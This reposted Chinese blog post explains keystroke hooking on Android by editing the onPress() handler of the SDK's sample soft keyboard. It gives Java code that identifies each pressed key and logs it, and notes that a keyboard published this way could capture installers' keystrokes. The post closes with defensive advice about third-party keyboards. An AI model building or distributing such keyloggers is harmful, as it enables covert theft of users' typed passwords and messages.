注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

android键盘钩子 android按键劫持  

2013-10-31 16:49:32|  分类: Android开发与逆 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

实现按键钩子,一般可以在框架,linux内核等上面进行,这次主要是在应用层实现的。

方案为:

获取android sdk提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()

函数就可以实现了。如果把这个恶意的软键盘发布出去,人家安装了之后,我们还是可以截获到按键信息的。


public void onPress(int primaryCode) {
        int            iKeyboardResId;
        
        int            iCode;
        String         sLabel;
        String            name ;
        LatinKeyboard  CurrentKeyboard;
        StringBuilder  sb = new StringBuilder("");
        //android.os.Debug.waitForDebugger();
        if(mInputView == null)
            return;
        Keyboard currentKeyboard = mInputView.getKeyboard();
        CurrentKeyboard = (LatinKeyboard)currentKeyboard;
        iKeyboardResId = CurrentKeyboard.mXmlResId;
        //Log.d("XL: onPress rid", String.valueOf(iKeyboardResId));
        XmlResourceParser parser = getResources().getXml(iKeyboardResId);
        int eventCode;
        
        try 
        {  
            eventCode = parser.getEventType(); 
            while (eventCode != XmlResourceParser.END_DOCUMENT) 
            {
               //如果是开始标签  
               if (eventCode == XmlResourceParser.START_TAG) 
               {  
                       //获取标签名称  
                        name = parser.getName();  
                      //  Log.d("XL: onPress LableName", name);
                        //判断标签名称是否等于key  
                        if(name.equals("Key"))
                        {  
                            
                            //获得标签属
                            sLabel = parser.getAttributeNamespace(0);
                            sLabel = parser.getAttributeValue(sLabel, "codes");
                            //iCode = parser.getAttributeIntValue(0, -1);
                            //Log.d("XL: onPress keyCode", String.valueOf(iCode));
                            //Log.d("XL: onPress keyCode primaryCode", String.valueOf(primaryCode));
                            iCode = Integer.parseInt(sLabel);
                            if(  iCode == primaryCode)
                            {
                            
                                sLabel = parser.getAttributeNamespace(0);
                                sLabel = parser.getAttributeValue(sLabel, "keyLabel");
                                
                                //Log.d("XL: onPress keyCode", String.valueOf(iCode));
                                //Log.d("XL: onPress keylabel", sLabel);
                                
                                sb.append("你按下的是: " + sLabel + "键" + "\n");
                                break;
                            }
                               
                        }  
               }
               else if (eventCode == XmlPullParser.END_TAG)
               {   
                    
               } 
               else if (eventCode == XmlPullParser.TEXT) 
               {   
                    
               }   
             //下一个标签  
             eventCode = parser.next();   
          }  //while
       } 
       catch (XmlPullParserException  e)
       {  
           e.printStackTrace();
       }
       catch (IOException e) 
       {  
           e.printStackTrace();  
       }  
        Log.d("[XL]", sb.toString());
   }

所以,相对安全的方式是自己的软件附带软件键盘,而不是用第三方的哦。

转自:http://blog.csdn.net/winsunxu/article/details/6748962

  评论这张
 
阅读(255)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017